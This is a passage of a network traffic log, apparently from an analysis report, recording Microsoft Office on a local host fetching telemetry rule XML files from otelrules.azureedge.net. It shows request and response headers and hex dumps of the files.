2024-11-19 21:07:06 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-1777c6cb754xjpthhC1TEBexs800000008g0000000009pr0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49850	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-1777c6cb754ww792hC1TEBzqu400000008h0000000005mxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49851	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-1777c6cb754dqf99hC1TEB5nps00000008bg00000000uf3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49852	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-1777c6cb754whff4hC1TEBcd6c0000000790000000009gr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49853	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:06 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210706Z-r1d97b99577hsvhhhC1TEByb1w000000026g00000000826a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:06 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49854	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754lv4cqhC1TEB13us00000008p0000000007e0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49855	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754dqf99hC1TEB5nps00000008h00000000064vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49856	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:06 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754j8gqphC1TEB5bf800000008n0000000003sm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49857	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-r1d97b99577gg97qhC1TEBcrf400000007q000000000eymd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49859	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-r1d97b9957747b9jhC1TEBgyec0000000810000000009ceu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49860	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754j8gqphC1TEB5bf800000008p0000000000bvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49862	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:07 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:07 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210707Z-1777c6cb754ww792hC1TEBzqu400000008c000000000uedy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:07 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" 